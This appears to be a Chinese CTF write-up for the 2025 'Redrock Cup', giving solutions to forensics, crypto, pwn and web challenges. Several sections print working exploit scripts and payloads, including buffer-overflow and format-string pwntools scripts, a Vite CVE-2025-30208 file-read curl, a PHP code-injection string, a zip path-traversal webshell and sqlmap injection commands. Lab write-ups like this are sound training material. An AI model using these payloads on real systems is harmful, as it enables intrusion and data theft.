[红岩杯]::CTF::2025-WriteUP

1.1 [签到]点击就送flag#

我点击了，所有我做出来了，耶~~~

1.2 [简单] 黑客call1ng#

考点：WireShark数据包分析

首先看到题目中提到了Webshell，考虑到PHP是21世纪最好的语言，我猜这个webshell也是用PHP写的。所以直接上过滤器http.request.uri contains ".php"来检索所有请求URL中含有.php的数据。

然后扫视一眼得到:

1
/install/index.php?step=11&insLockfile=test&install_demo_name=../Update_config_1.php&updateHost=http://43.139.95.95:8000/

这条记录有从远程服务器http://43.139.95.95:8000/拉取数据的行为，并且拉取的刚刚好是Update_config_1.php这个文件，可以怀疑它是一个后门程序。接下来换过滤器http.request.uri contains "Update_config_1.php"着重查看一下这个PHP文件的行为。

可以发现其中最特殊的一条（状态码500 Server Interal Error）,找到它对应的请求：

这里因为抓到的数据里面有很多Base64，我懒得一个一个解码看了，所以让ai帮我看了一下

1
32399 405.111900 192.168.190.131 192.168.190.133 HTTP 861 POST /Update_config_1.php HTTP/1.1 (application/x-www-form-urlencoded)

依据ai对这条记录的解读可以发现：

1. 其中Car1N0tCat字段的值是PHP代码，猜测webshell中有eval(_POST['Car1N0tCat']);的相关代码。(也可能不对哈，我不会PHP┭┮﹏┭┮)
2. 其中wb0fc963091e61字段的值是一串Base64编码，解码后是cd /d "C:\\phpstudy_pro\\WWW\\images"&tcp_windows_amd64.exe&echo 8c1a3cfe9&cd&echo 2561e(这个直接实锤了，WebShell!!!)
3. 这条请求的Source是192.168.190.131，Dest是192.168.190.133，说明192.168.190.131已经成为嗨阔的跳板机。

总结一下：

1. 内网的跳板机为：192.168.190.131
2. WebShell的名称为：Update_config_1.php
3. WebShell的密码是：Car1N0tCat
4. 嗨阔存WebShell的VPS是：43.139.95.95

1.3 [中等] 真假杀软#

考点：内存取证

工具volatility3: https://xz.aliyun.com/news/16662

这里提到运维的哦耶耶耶姐姐下错杀软了，哎，运维。现在瑞克五学长把内存的镜像用DumpIt保存到了mem.raw，现在我们通过这个内存镜像来获取假杀软的信息。

首先，我们来获取这个杀软的文件名（这个是最简单的）

我们可以用windows.filescan先看看Download文件夹下有哪些文件：

1
vol -f volatility/volatility_2.6_lin64_standalone/mem.raw windows.filescan | grep Downloads

得到：

1
0x85811398e190.0\Users\Rycarl\Downloads\huorong_signed_2\huorong_signed_2.exe

原来哦耶耶耶姐姐把木马下到瑞克五学长的电脑上了（）

所以，我们得到了假杀软的名称：huorong_signed_2.exe

然后，我们看看这个假火绒是从哪里下载的（使用Windows的ADS）

使用windows.mftscan.ADS查看ADS信息：

1
vol -f volatility/volatility_2.6_lin64_standalone/mem.raw windows.mftscan.ADS

得到：

1
Offset  Record Type     Record Number   MFT Type        Filename        ADS Filename    Hexdump
2
0x4cc2c6c0      FILE    85505   DATA    huorong_signed_2.zip    Zone.Identifier
3
5b 5a 6f 6e 65 54 72 61 6e 73 66 65 72 5d 0d 0a [ZoneTransfer]..
4
5a 6f 6e 65 49 64 3d 33 0d 0a 52 65 66 65 72 72 ZoneId=3..Referr
5
65 72 55 72 6c 3d 68 74 74 70 73 3a 2f 2f 67 78 erUrl=https://gx
6
69 61 7a 69 68 72 2e 63 79 6f 75 2f 0d 0a 48 6f iazihr.cyou/..Ho
7
73 74 55 72 6c 3d 68 74 74 70 73 3a 2f 2f 70 75 stUrl=https://pu
8
62 2d 33 31 37 30 37 38 32 62 65 61 63 33 34 33 b-3170782beac343
9
32 62 39 65 30 63 38 37 31 38 32 32 32 61 63 34 2b9e0c8718222ac4
10
31 36 2e 72 32 2e 64 65 76 2f 68 75 6f 72 6f 6e 16.r2.dev/huoron
11
67 5f 73 69 67 6e 65 64 5f 32 2e 7a 69 70 0d 0a g_signed_2.zip..

所以，我们可以从里面得到：

1. 这个假火绒的下载地址ReferrerUrl是：https://gxiazihr.cyou（顶级域名是cyou，记住这个）

2. 下载跳转的OSS地址HostUrl是：https://pub-3170782beac3432b9e0c8718222ac416.r2.dev/huorong_signed_2.zip

然后，我们来找木马的回连地址

现在我们用windows.netscan看看电脑当时的网络连接

1
vol -f volatility/volatility_2.6_lin64_standalone/mem.raw windows.netscan | grep ESTABLISHED

一大堆，直接看ESTABLISHED的

得到：

1
0x85810639f9a0.0TCPv4   192.168.190.132n50389fin150.171.28.11   443     ESTABLISHED     -       -       N/A
2
0x858106a09be0  TCPv4   192.168.190.132 50399   150.171.28.11   443     ESTABLISHED     -       -       N/A
3
0x858107071490  TCPv4   192.168.190.132 50394   13.107.226.39   443     ESTABLISHED     -       -       N/A
4
0x858107254490  TCPv4   192.168.190.132 50398   13.107.226.39   443     ESTABLISHED     -       -       N/A
5
0x8581072d4490  TCPv4   192.168.190.132 50402   57.155.141.113  443     ESTABLISHED     -       -       N/A
6
0x8581075618a0  TCPv4   192.168.190.132 49897   27.124.17.74    5000    ESTABLISHED     -       -       N/A
7
0x85810819cbf0  TCPv4   192.168.190.132 50395   150.171.27.10   443     ESTABLISHED     -       -       N/A
8
0x858108d888a0  TCPv4   192.168.190.132 50388   150.171.28.11   443     ESTABLISHED     -       -       N/A
9
0x858113953010  TCPv4   192.168.190.132 50298   23.194.157.144  443     ESTABLISHED     -       -       N/A

这条0x8581075618a0 TCPv4 192.168.190.132 49897 27.124.17.74 5000 ESTABLISHED - - N/A有猫饼啊，别人都是443，就你5000。

查一下解析记录：

这里基本是可以猜测一下，木马的回连域名是xyk33.cyou（原因：木马的下载地址是gxiazihr.cyou，IP27.124.17.74近期的解析记录是xyk33.cyou，并且这个IP的回连端口是5000而别的都是443，所以可以先怀疑一下，不过提交flag时验证了我们的猜测是对的）

最后，我们来看一下伪装杀软网站的域名（直接查浏览器记录）

这里已经用filescan扫了一下桌面，发现下载的浏览器只有edge，所以直接看edge的浏览器记录

冷知识：edge的浏览记录存在\Users\Rycarl\AppData\Local\Microsoft\Edge\User Data\Default\History里，这里的History是一个sqlite文件，所以我们直接dump出来。

先用windows.filescan扫一下它的地址

1
vol -f volatility/volatility_2.6_lin64_standalone/mem.raw windows.filescan | grep History

得到：

1
0x8581068a6620.0\ProgramData\Microsoft\Windows Defender\Scans\History\CacheManager\AEB9F9E5-D8E8-44BC-AE54-2A1F6F080471-0.bin
2
0x858107d77550  \Windows\System32\winevt\Logs\Microsoft-Windows-FileHistory-Core%4WHC.evtx
3
0x85810b743690  \Users\Rycarl\AppData\Local\Microsoft\Edge\User Data\Default\History-journal
4
0x85810b745da0  \Users\Rycarl\AppData\Local\Microsoft\Edge\User Data\Default\History
5
0x85810b749a90  \ProgramData\Microsoft\Windows Defender\Scans\History\Store\F5BC00EC6C0978F6B5686E316EB9E54F
6
0x8581198b8ac0  \ProgramData\Microsoft\Windows Defender\Scans\History\Results\Resource\{7E90C536-497B-468D-B09A-F0D72776A223}

然后用windows.dumpfile把这个文件拿出来：

1
vol -f ../volatility/volatility_2.6_lin64_standalone/mem.raw windows.dumpfile --virtaddr 0x85810b745da0

得到：

1
Cache   FileObject      FileName        Result
2

3
DataSectionObject       0x85810b745da0  History file.0x85810b745da0.0x8581073a4130.DataSectionObject.History.dat

因为History里面有sql语句，我们直接拿string看一下含有huorong的记录：

1
strings -n 6 "file.0x85810b745da0.0x8581073a4130.DataSectionObject.History.dat" | grep huorong

得到：

1
https://www.huorongs.com/0
2
http://huorongs.com/
3
http://huorongs.com/
4
https://www.huorongs.com/
5
https://huorongs.com/
6
http://huorongs.com/
7
http://huorongs.com/
8
https://www.huorongs.com/       b
9
https://huorongs.com/
10
https://www.huorongs.com/https://www.huorongs.com/
11
https://www.huorongs.com/https://www.huorongs.com/

所以，我们得到了伪装杀软网站的域名：huorongs.com（原来是多了个s）

2.1 [简单] call1ng小秘密#

考点：BrainFuck + Base64 + 凯撒密码

首先，打开文件得到：

1
+++++ ++++[ ->+++ +++++ +<]>. <++++ +[->+ ++++< ]>+++ .<+++ ++++[ ->--- ----< ]>--- .<+++ ++++[ ->+++ ++++< ]>+++ +++++ +++.< +++++ [->-- ---<] >---. <++++ [->++ ++<]> +++++ .--.+ +++++ ++.<+ +++[- >---- <]>.< +++[- >---< ]>--- .<+++ ++[-> +++++ <]>++ +..<+ +++[- >---- <]>-- -.<++ ++++[ ->--- ---<] >---- ----- -.<++ ++++[ ->+++ +++<] >+++. <++++ ++[-> ----- -<]>- ---.< +++++ [->++ +++<] >++.< +++[- >+++< ]>++. <++++ [->++ ++<]> .<+++ +[->+ +++<] >.<++ +++[- >---- -<]>- ----- -.<++ ++++[ ->--- ---<] >-.<+ +++[- >++++ <]>++ +++++ .<+++ +++[- >++++ ++<]> ++++. <++++ [->-- --<]> ----- ---.< ++++[ ->+++ +<]>+ ++.<+ +++++ +[->- ----- -<]>- --.<+ +++++ [->++ ++++< ]>+++ +++++ +.<++ +++[- >---- -<]>. <++++ +[->+ ++++< ]>+++ +.--. <++++ [->-- --<]> ----- -.+++ +++.< +++++ +[->- ----- <]>-- .+++. <++++ ++++[ ->+++ +++++ <]>++ +++.< ++++[ ->--- -<]>- ----- --.<+ ++[-> ---<] >--.- ----. <++++ ++[-> +++++ +<]>+ +++.< ++++[ ->--- -<]>- ----. <+++[ ->--- <]>-- --.<+ +++[- >++++ <]>.< +++[- >+++< ]>+.< +++++ [->-- ---<] >.<++ ++[-> ++++< ]>+++ +.-.< +++++ ++[-> ----- --<]> --.<

这个是BrainFuck,去网上找个解密工具把换成明文：

1
Qm9uYnltdXtta3Z2MXhxX3JrZm9fMjhRX25zbWRzeXhrYml9

这个一眼可能难看出来，拿去Base64的解密网站试一下：

1
Bonbymu{mkvv1xq_rkfo_28Q_nsmdsyxkbi}

WOW,有东西，至此，已经可以看到一点Flag的结构了，试试凯撒密码：

1
Redrock{call1ng_have_28G_dictionary}

在偏移量等于10的时候得到了Flag

** 原来靠零姐姐有28G的大字典

2.2 [简单] call1ng的中秘密#

考点：RSA加密

首先，打开文件得到：

1
n = 10034458838192354450378996730371090139959078700304989320970470791827709774544051882909504284747432298412371995402769326066736060976548710999109630755854407549444549549735676445234518002317773499031649501473534060667165388944224036836209439279426386442400055821547280683413687958060329873738954349378987874163700505368918514568579218481284408157322593226120835440877748917765905930070492425758131612847519821028911314119892661965475651465106785480609441944785711632658843514760244120843987753943553073160041136621713048017335259479885274605968936731308517402206644004257673190155024729770535761903206196764797956566111
2
e = 3
3
c = 68807479857484550806391729758389898946524397942903876441962404719735555961923931034661024216721542983397545329074866058914183624766171319161545208892994234066410868707164031462060599514857031187502908132566888262717583311222196599554744857363781871367156348354921061

一眼看下去，有一个问题：

n太大了，而e太小了，c是密文。就可能出现一种问题c的明文的e次方小于n，从而 c的明文 ^ e % n 还可能对于 c的明文 ^ e 本身，使得私钥无效

所以，去网上找了个大数计算器对 c 开 e 次方，刚好开尽：

1
40977477190927552052172871147988699642746975682530564891234079625291392593811419023306621

之后再把这个10进制的大数转为16进制：

1
526564726F636B7B736D616C6C5F655F726573756C745F756E736166655F63727970746F7D

最后把16进制数转为Ascii码就可以拿到Flag:

1
Redrock{small_e_result_unsafe_crypto}

2.3 [简单] 公共密钥的揭示#

考点：RSA机密

首先，看看我们有什么：

1
leak = 13540197005808548845902702735228302994696830807899853068206422250846583733448650182954108972228505726534212241510860240159257900755349768731987949236031727091
2
c = 17405194878769636711554530344040439720869538513184746376304045485984506994708824523612003951121869844739857062451829939183649941345311339367098657051233834613079988477691524343367426775786269578239693839245978327652865130514195139909469827703498554031898270404859625383620481870707744905898798154346552830793

1
from Crypto.Util.number import bytes_to_long
2
from Crypto.PublicKey import RSA
3

4
def main():
5
    with open("private.pem", "rb") as f:
6
        priv_key = RSA.import_key(f.read())
7

8
    n = priv_key.n
9
    e = priv_key.e
10
    p = priv_key.p
11
    q = priv_key.q
12

13
    leak = (p << 10) + q
14

15
    flag = b"????"
16
    m = bytes_to_long(flag)
17
    c = pow(m, e, n)
18

19
    with open("output.txt", "w") as f:
20
        f.write(f"leak = {leak}\n")
21
        f.write(f"c = {c}\n")
22

23
if __name__ == "__main__":
24
    main()

OK，现在我们有一个leak，一个密文c，一个加密用的python脚本，一个公钥文件，从中可以得到生成leak的部分：leak = (p << 10) + q

1. 因为public.pem里的n=p*q

2. leak = p * 1024 + q

3. 用两块钱解一次这个方程就可以得到p和q的值

有了p和q的值后我们就可以计算私钥进行解密了，EXP:

1
from Crypto.Util.number import long_to_bytes
2
from Crypto.PublicKey import RSA
3
from Crypto.Cipher import PKCS1_OAEP, PKCS1_v1_5
4
import math
5

6
def recover_flag(leak, c, e, n):
7
    a = 1024
8
    b = -leak
9
    c_val = n
10

11
    discriminant = b*b - 4*a*c_val
12
    if discriminant >= 0:
13
        sqrt_d = int(math.isqrt(discriminant))
14
        if sqrt_d * sqrt_d == discriminant:
15
            p1 = (-b + sqrt_d) // (2*a)
16
            p2 = (-b - sqrt_d) // (2*a)
17

18
            for p_candidate in [p1, p2]:
19
                if p_candidate > 0 and n % p_candidate == 0:
20
                    p = p_candidate
21
                    q = n // p
22
                    print(f"[+] Found p: {p}")
23
                    print(f"[+] Found q: {q}")
24
                    break
25

26
    # 计算私钥参数
27
    phi_n = (p - 1) * (q - 1)
28
    d = pow(e, -1, phi_n)
29

30
    print(f"\n[+] Private exponent d computed")
31

32
    # 解密
33
    m = pow(c, d, n)
34
    flag = long_to_bytes(m)
35

36
    print(f"\n[+] Decrypted message: {flag}")
37
    return flag
38

39
def main():
40
    try:
41
        # 读取公钥
42
        with open("public.pem", "rb") as f:
43
            pub_key = RSA.import_key(f.read())
44

45
        leak = 13540197005808548845902702735228302994696830807899853068206422250846583733448650182954108972228505726534212241510860240159257900755349768731987949236031727091
46
        c = 17405194878769636711554530344040439720869538513184746376304045485984506994708824523612003951121869844739857062451829939183649941345311339367098657051233834613079988477691524343367426775786269578239693839245978327652865130514195139909469827703498554031898270404859625383620481870707744905898798154346552830793
47

48
        flag = recover_flag(leak, c, pub_key.e, pub_key.n)
49

50
        if flag:
51
            print(f"\n[+] Success! Flag: {flag.decode()}")
52
        else:
53
            print("\n[-] Failed to recover flag")
54

55
    except FileNotFoundError as e:
56
        print(f"[-] Error: {e}")
57
        print("Please make sure public.pem and output.txt are in the current directory")
58
    except Exception as e:
59
        print(f"[-] Unexpected error: {e}")
60

61
if __name__ == "__main__":
62
    main()

1
[+] Found p: 13211992144092470390055432660847214887578060374151339977507740993842928782591166274408437949663079812120237093889902224145783362126587729021045507807963541
2
[+] Found q: 11117050257859166485939690520754949816896984768880931238495473151424660075295917959868511773511998923089457367600362633975737937723934214437349240677061107
3

4
[+] Private exponent d computed
5

6
[+] Decrypted message: b'REDROCK{V3ry_s1mp1e_R5A_isn7_it?}'
7

8
[+] Success! Flag: REDROCK{V3ry_s1mp1e_R5A_isn7_it?}

现在就得到flag了

3.1 [入门] ida_gogogo#

很入门了，用IDA打开直接可以看到

1
if ( p_n114514 == 114514 )
2
    {
3
      puts(&s__2);
4
      system("/bin/sh");
5
    }

所以神秘数字就是：114514

输入神秘数字后就可以GetShell，然后cat flag就可以拿到flag

1
flag{236b41ed-dfa1-43ef-9a08-3db022a8af65}

3.2 [入门] 来签个到吧！#

这个真的是手把手教了🥰🥰🥰

1
flag{8b299b53-140b-4a1c-a414-a9fbbef5dcad}

3.3 [简单] 大偷yeye#

冷知识：我的世界里面同一个种子生成的地形是一模一样的，同一个时间决定的同一种子生成的随机数是一模一样的

因为服务器确定时间用的是Unix秒级时间戳，所以发包的同一秒也在本地生成一个随机数，这个随机数就会和服务端相同

所以写个EXP进行攻击：

1
import ctypes
2
import time
3
import pwn
4

5
def predict_number():
6
    # 获取当前时间
7
    current_time = int(time.time())
8
    # 使用ctypes调用C标准库的srand和rand
9
    libc = ctypes.CDLL('/lib/x86_64-linux-gnu/libc.so.6')
10
    # 用当前时间设置随机种子
11
    libc.srand(current_time)
12
    # 生成随机数（与目标程序相同的算法）
13
    random_num = (libc.rand() % 1000) + 1
14
    return random_num
15

16
def exploit():
17
    # 预测数字
18
    predicted_num = predict_number()
19
    print(f"Predicted number: {predicted_num}")
20
    # 或者远程连接
21
    p = pwn.remote('127.0.0.1', 41683)
22
    # 发送预测的数字
23
    p.sendline(str(predicted_num))
24
    # 获取shell
25
    p.interactive()
26

27
if __name__ == "__main__":
28
    exploit()

攻击成功后就能getshell，然后cat flag就能拿到shell

3.4 [简单] 卷娘没钱了┭┮﹏┭┮#

这里的money变量是一个无符号整型，用no()函数使其自减为负数后再与flag_prise比较时，money会溢出成为一个很大的数，大于flag_prise

为什么money变量是无符号整型：在if ( flag_price < money )这里，前面unsigned int flag_price;定义了flag_price 是无符号整型，这里与flag_price比较时，money便会被转换成无符号整型，从而溢出成一个很大的数。

1
unsigned int flag_price; // [rsp+4h] [rbp-Ch]
2

3
if ( flag_price < money )
4
    {
5
      print_flag();
6
      exit(0);
7
    }

1
flag{51e653a5-8d1d-4013-a97b-7cf72f6bb566}

3.5 [简单]卷娘的找寻#

1
char user_buf[64]; // [rsp+0h] [rbp-90h] BYREF
2
char flag_buf[64]; // [rsp+40h] [rbp-50h] BYREF

这里可以看出，flag_buf在user_buf下方，处于高地址空间，可以直接访问，而两者的首地址相差0x40=64字节

思路：构造payload，直接越界读取flag_buf

所以，我们可以先填充63个A字母，再加一个%s是不是可以读取flag，NONONO，%s不会从第64个A的地址拿数据，而是从第一个参数拿地址。

正确的做法是，使用%n$s这个占位符，去扫描这个栈，从而越界找到flag

EXP:

1
from pwn import *
2

3
context.log_level = 'debug'
4

5
def leak_flag():
6
    # 尝试不同的偏移
7
    for i in range(1, 50):
8
        try:
9
            p = remote('172.24.64.1', 52637)
10
            # 使用位置参数 %n$s 直接读取
11
            payload = f'%{i}$s'.encode()
12
            p.sendline(payload)
13
            resp = p.recvuntil(b'Done!')
14
            # 检查是否包含{
15
            if b'{' in resp:
16
                print(f"Found at offset {i}:")
17
                print(resp)
18
                break
19
            p.close()
20
        except:
21
            continue
22

23
leak_flag()

这样就可以找到挤在栈上的flag（flag边上还是会有写奇奇怪怪的字符，不用管他们）

1
flag{aca4b64f-0977-4550-bbac-8e36744f70bc}

3.6 [简单]卷娘的记忆#

要作这题首先要了解一下什么是EIP寄存器，EIP寄存器是用来存储下一步操作要跳转地址的寄存器，所以说只要劫持了这个寄存器的值，我们就可以操控程序下一步步进到哪里，如果我们把它的值改为backdoor函数的值，那么程序在往下一步就会直接执行backdoor函数，我们就可以getshell

1
char buf[64]; // [esp+Ch] [ebp-4Ch] BYREF
2
ssize_t v2; // [esp+4Ch] [ebp-Ch]
3
v2 = read(0, buf, 0x308u);

问题就在这里，buf只有64字节，read可以读3*16^2+8=776字节，超过64字节的部分就会覆盖到栈上，由此我们便可以操作EIP的值

所以我问了一下AI这个程序的内存分布：

OK，那偏移量就是：

64字节覆盖buf，4字节覆盖v2，8字节覆盖空白段，4字节覆盖ebp = 80字节

第一步，计算偏移量已经完成

第二部，查一下backdoor函数的地址

用IDA的Exports板块看了一下：backdoor 08049233

EXP:

1
from pwn import *
2

3
context.log_level = 'debug'
4

5
p = remote("172.27.0.1", 56543)
6
payload = b'A' * 76
7
payload += b'B' * 4
8
payload += p32(0x08049233)
9
p.send(payload) #payload共84字节
10
p.interactive()

执行后就能getshell，然后cat /flag就能获得flag

3.7 [简单]卷娘的金丝雀#

我们来看看canary是什么，问了一下ai：

Canary（也称作栈保护金丝雀）是一种栈溢出保护机制，用于检测和防止缓冲区溢出攻击。它通过在栈上的返回地址前放置一个随机值（称为”金丝雀”），在函数返回前检查该值是否被修改。

好，这个东东在保护卷娘，我们来看看它的工作原理：

内容	备注
局部变量	-
Canary值	<-相当于校验码
rbp	-
返回地址	<-要收拾的对象

呃，这题，因为Canary的值给了，所以和上面那题基本没区别，构造payload时写进去就行

那还是一样，先分析一下内存

那么现在就来获取一下ret的地址：

在kali中使用命令：ROPgadget --binary pwn | grep ret

得到ret的地址：0x000000000040101a

最后还是获取一下backdoor函数的地址：

用IDA的Exports板块看了一下：backdoor 0000000000401282

EXP:

1
from pwn import *
2
context.log_level = 'debug'
3

4
p = remote('172.27.0.1', 50858)
5

6
p.recvline() # 吃掉第一行
7
canary_line = p.recvline()
8
canary = int(canary_line.strip(), 16)  # 解析十六进制
9
log.success(f"Leaked Canary: 0x{canary:016x}")
10

11
#构造payload
12
backdoor_addr = 0x401282
13

14
payload = b''
15
payload += b'A' * 72              # 填充到Canary
16
payload += p64(canary)            # 填入正确的Canary值
17
payload += b'B' * 8               # 覆盖rbp
18
payload += p64(0x40101a)      # ret的地址
19
payload += p64(backdoor_addr)     # 劫持返回地址
20

21
p.send(payload)
22

23
p.interactive()

执行后就能getshell，然后cat /flag就能获得flag

4.1 [简单] ezLogic#

1
POST /level2/shopTheshop/buy HTTP/1.1
2
Host: 127.0.0.1:28182
3
Content-Length: 65
4
sec-ch-ua: "Chromium";v="121", "Not A(Brand";v="99"
5
sec-ch-ua-platform: "Windows"
6
sec-ch-ua-mobile: ?0
7
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
8
Content-Type: application/json
9
Accept: */*
10
Origin: http://127.0.0.1:28182
11
Sec-Fetch-Site: same-origin
12
Sec-Fetch-Mode: cors
13
Sec-Fetch-Dest: empty
14
Referer: http://127.0.0.1:28182/level2/shopTheshop
15
Accept-Encoding: gzip, deflate, br
16
Accept-Language: zh-CN,zh;q=0.9
17
Connection: close
18

19
{"balance":10,"discount":0.99,"ITEM_PRICE":10000,"userid":"0001"}

1
POST /level3/getSomeCoupon HTTP/1.1
2
Host: 127.0.0.1:28182
3
Content-Length: 10
4
sec-ch-ua: "Chromium";v="121", "Not A(Brand";v="99"
5
sec-ch-ua-platform: "Windows"
6
sec-ch-ua-mobile: ?0
7
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
8
Content-Type: application/json
9
Accept: */*
10
Origin: http://127.0.0.1:28182
11
Sec-Fetch-Site: same-origin
12
Sec-Fetch-Mode: cors
13
Sec-Fetch-Dest: empty
14
Referer: http://127.0.0.1:28182/level3/getSomeCoupon
15
Accept-Encoding: gzip, deflate, br
16
Accept-Language: zh-CN,zh;q=0.9
17
Connection: close
18

19
{"type":5}

1
go run .\ddos.go
2
200 OK
3
200 OK
4
200 OK
5
200 OK
6
exit status 0xc000013a

1
flag{a7709f87-ad7a-4928-b8d0-7bdf6f0b3194}

4.2 [中等] vite#

考点：任意文件读取

先看看call1ng姐姐的提示：

1. /flag

2. vite版本为6.2.2

3. vite都更新到7.3了，你这也太老了吧

提示里提到了vite的版本号，所以我们可以去网上搜索一下这个版本的vite有什么漏洞

结果是：CVE-2025-30208 任意文件读取漏洞

Payload:

1
curl "http://127.0.0.1:8696/@fs/flag?import&raw??"

使用Payload得到Flag

1
export default "Redrock{Y0U_4rE_A_GREa7_C71_PIayEr_732a93f0af3b}\n"
2
//# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImZsYWc/aW1wb3J0JnJhdz8iXSwic291cmNlc0NvbnRlbnQiOlsiZXhwb3J0IGRlZmF1bHQgXCJSZWRyb2Nre1kwVV80ckVfQV9HUkVhN19DNzFfUElheUVyXzczMmE5M2YwYWYzYn1cXG5cIiJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFBQSxNQUFNLENBQUMsT0FBTyxDQUFDLENBQUMsT0FBTyxDQUFDLHVDQUF1QyxDQUFDLENBQUMsQ0FBQyJ9

4.3 [简单] Doro的网站#

考点：PHP

看看提示：听说doro很讨厌复杂的密码

所以说我们试一下doro/doro看看，结果成功登录了网站

看看附件：

1
<?php
2
session_start();
3

4
if (!isset($_SESSION['admin']) || $_SESSION['admin'] !== true) {
5
    header('Location: index.php');
6
    exit();
7
}
8

9
if (isset($_GET['url'])) {
10
    $url = addslashes($_GET['url']);
11
    $file = file_get_contents('./config.php');
12
    $file = preg_replace("/\\\$URL = '.*';/s", "\$URL = '{$url}';", $file);
13
    file_put_contents('./config.php', $file);
14
    header('Location: admin.php?success=1');
15
    exit();
16
}
17

18
header('Location: admin.php');
19
exit();
20
?>

展开收起

很明显的，$file = preg_replace("/\\\$URL = '.*';/s", "\$URL = '{$url}';", $file);我们可以在这行写config.php时注入恶意代码。

addslashes会在'前加反斜杠转义，这里要想办法。

Payload:

1
\';print_r($_ENV);//

这里转义填到$URL里面就成了`'\\';print_r($_ENV);//‘；前面的$URL就被赋值成了’\‘;后面的print_r($_ENV);`就成了一句可以被执行的php语句

这里也是可以执行命令的：ls / \';system($URL);//

使用Paylaod，查看所有环境变量，得到Flag

1
REDROCK{91072bb2-985a-4fb6-9269-fb1c39d76633}

4.4 [中等] Mvegetable的作业#

考点：压缩文件路径穿越

看看附件：

1
<?php
2
header("Content-Type: application/json; charset=utf-8");
3
// 每5分钟会清除一次目录下上传的文件
4

5
$file = $_FILES['file'];
6

7
    if(!$file){
8
        echo json_encode(array('display' => '怎么是空文件啊 Mvegetable明明写了作业😡', 'status' => 'fail'));
9
        exit();
10
    }
11
    $name = $file['name'];
12

13
    $dir = 'upload/';
14
    $ext = strtolower(substr(strrchr($name, '.'), 1));
15
    $path = $dir.$name;
16

17
    function check_dir($dir){
18
        $handle = @opendir($dir);
19
        if(!$handle){
20
            return;
21
        }
22
        while(($f = readdir($handle)) !== false){
23
            if(!in_array($f, array('.', '..'))){
24
                if(is_dir($dir.$f)){
25
                    check_dir($dir.$f.'/');
26
                 }else{
27
                    $ext = strtolower(substr(strrchr($f, '.'), 1));
28
                    if(!in_array($ext, array('jpg', 'gif', 'png'))){
29
                        @unlink($dir.$f);
30
                    }
31
                }
32

33
            }
34
        }
35
        @closedir($handle);
36
    }
37

38
    if(!is_dir($dir)){
39
        mkdir($dir);
40
    }
41

42
    $temp_dir = $dir.md5(time(). rand(1000,9999));
43
    if(!is_dir($temp_dir)){
44
        mkdir($temp_dir);
45
    }
46

47
    if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){
48
        if($ext == 'zip'){
49
            include_once __DIR__ . '/unzip.php';
50
            ob_start();
51
            $ok = unzip($file['tmp_name'], $temp_dir);
52
            ob_end_clean();
53
            check_dir($dir);
54
            echo json_encode(array('display' => '作业上传成功啦!😋', 'status' => $ok ? 'success' : 'fail'));
55
            exit();
56
        }else{
57
            move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);
58
            check_dir($dir);
59
            echo json_encode(array('display' => '作业上传成功啦!😋', 'status' => 'success'));
60
            exit();
61
        }
62
    }else{
63
        echo json_encode(array('display' => '老师说只要zip、jpg、gif、png类型的作业文件😱', 'status' => 'fail'));
64
        exit();
65
    }

展开收起

我们可以构造一个包含特殊路径的文件，使用 “../”，这样解压时“../”这样应该文件夹下的文件的解压路劲就会变成“../file”，从而穿越到上层目录。

现在我们用应该Python脚本生成这样的压缩文件，并在里面写入一个简单的WebShell

WebShell:

1
eval($_POST['cmd']);

生成压缩文件的Python代码:

1
import zipfile
2

3
zipFile = zipfile.ZipFile("hhhh.zip", "a", zipfile.ZIP_DEFLATED)
4
info = zipfile.ZipInfo("hhhh.zip")
5
zipFile.write("./shell.php", "../shell.php", zipfile.ZIP_DEFLATED)
6
zipFile.close()

上传hhhh.zip后shell.php会穿透到/upload，从而躲过文件后缀的递归检查，并且我们可以用中国蚁剑进行连接


在/flag中找到flag:

1
Redrock{Mv4Getab1e_1ikes_y0u_c85826ef3b38}

4.5 [中等] 老旧的黑客系统#

考点：SQl注入

1. 数据库使用GBK编码存储用户名
2. 为了兼容，李四启用了PDO的”模拟预编译”功能当 PDO::ATTR_EMULATE_PREPARES 设为 true 时，prepare() 实际上只是转义字符串，而非真正的预编译。结合GBK编码，就产生了宽字节注入。

1. 原来的SQL语句为：SELECT * FROM users WHERE username = ? AND password = ?
2. 由于使用了GBK编码，如果我们构造%bf'; [你的SQL语句]; -- 这样的payload，当遇到单引号时，PDO会自动插入一个反斜杠0x5c，而这个0x5c又与前面的bf组成bf5c，这个组合在GBK中是一个合法汉字，所以反斜杠被吃了，达到SQL注入的目的。

现在知道原理了，开始打！先拿Bp抓个登录的包下来

1
POST /login.php HTTP/1.1
2
Host: 127.0.0.1:29845
3
Content-Length: 55
4
sec-ch-ua: "Chromium";v="121", "Not A(Brand";v="99"
5
sec-ch-ua-platform: "Windows"
6
sec-ch-ua-mobile: ?0
7
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
8
Content-Type: application/x-www-form-urlencoded
9
Accept: */*
10
Origin: http://127.0.0.1:29845
11
Sec-Fetch-Site: same-origin
12
Sec-Fetch-Mode: cors
13
Sec-Fetch-Dest: empty
14
Referer: http://127.0.0.1:29845/login.html
15
Accept-Encoding: gzip, deflate, br
16
Accept-Language: zh-CN,zh;q=0.9
17
Connection: close
18

19
username=%c0%ee%cb%c4&password=%61%64%6d%69%6e%31%32%33

有POST的数据包了，掏出Sqlmap

先查一下数据库

1
sqlmap -r login.txt --dbms=mysql --encoding=GBK --tamper=unmagicquotes --batch --dbs

1
available databases [4]:
2
[*] h4ck3rs
3
[*] information_schema
4
[*] mysql
5
[*] performance_schema

看看h4ck3rs里面有哪些表

1
sqlmap -r login.txt --dbms=mysql --encoding=GBK --tamper=unmagicquotes --batch -D h4ck3rs --tables

1
+--------+
2
| secret |
3
| users  |
4
+--------+

竟然有小秘密，dump一下，拿到Flag

1
sqlmap -r login.txt --dbms=mysql --encoding=GBK --tamper=unmagicquotes --batch -D h4ck3rs -T secret --dump

1
Database: h4ck3rs
2
Table: secret
3
[1 entry]
4
+----------------------------------------+
5
| flag                                   |
6
